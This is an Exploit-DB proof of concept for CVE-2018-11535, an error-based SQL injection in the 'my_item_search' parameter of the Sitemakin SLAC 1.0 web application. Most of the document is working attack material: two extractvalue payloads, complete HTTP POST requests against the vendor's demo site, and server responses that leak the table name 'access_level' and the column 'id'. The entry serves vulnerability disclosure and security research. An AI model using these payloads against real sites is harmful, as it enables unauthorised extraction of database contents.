标题: Sitemakin SLAC 1.0 - 'my_item_search' SQL Injection EDB-ID: 44793 CVE: 2018-11535 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-29 漏洞利用脚本: # # # # # 
# Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection
# Date: 29-05-2018
# Vendor Homepage: https://sitemakin.com/login-script-demo
# Exploit Author: Divya Jain
# Version: v1.0
# CVE: CVE-2018-11535
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # #

# Proof of Concept:
        ////////////////////////////////////////////////
          SQL Injection in "my_item_search" parameter
       ////////////////////////////////////////////////
    
 # Affected Link: demo.com/login-script-demo/users.php
 
 # Parameter "my_item_search" is exploitable using xpath injection
 
 # Payload 1: 
 my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
 # Payload 2:
 my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -
 
# POC 1 (Result: Table_name)
/////////REQUEST//////////

  POST /login-script-demo/users.php HTTP/1.1
  Host: sitemakin.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: https://demo.com/login-script-demo/users.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 171
  Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
  Connection: close
  Upgrade-Insecure-Requests: 1

  my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -&submit=Search

/////////RESPONSE//////////

  <form method="post" action="/login-script-demo/users.php">
  <select class="new-url2 form-control" name="my_item">
  <br />
  <b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
  <br />
  <b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
     <option value="all">All</option>



# POC 2 (Result: Column_name)
/////////REQUEST//////////

  POST /login-script-demo/users.php HTTP/1.1
  Host: sitemakin.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: https://demo.com/login-script-demo/users.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 175
  Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
  Connection: close
  Upgrade-Insecure-Requests: 1

  my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -&submit=Search

/////////RESPONSE//////////

  <form method="post" action="/login-script-demo/users.php">
  <select class="new-url2 form-control" name="my_item">
  <br />
  <b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
  <br />
  <b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
     <option value="all">All</option>
     
################################################################################ URL: https://www.exploit-db.com/exploits/44793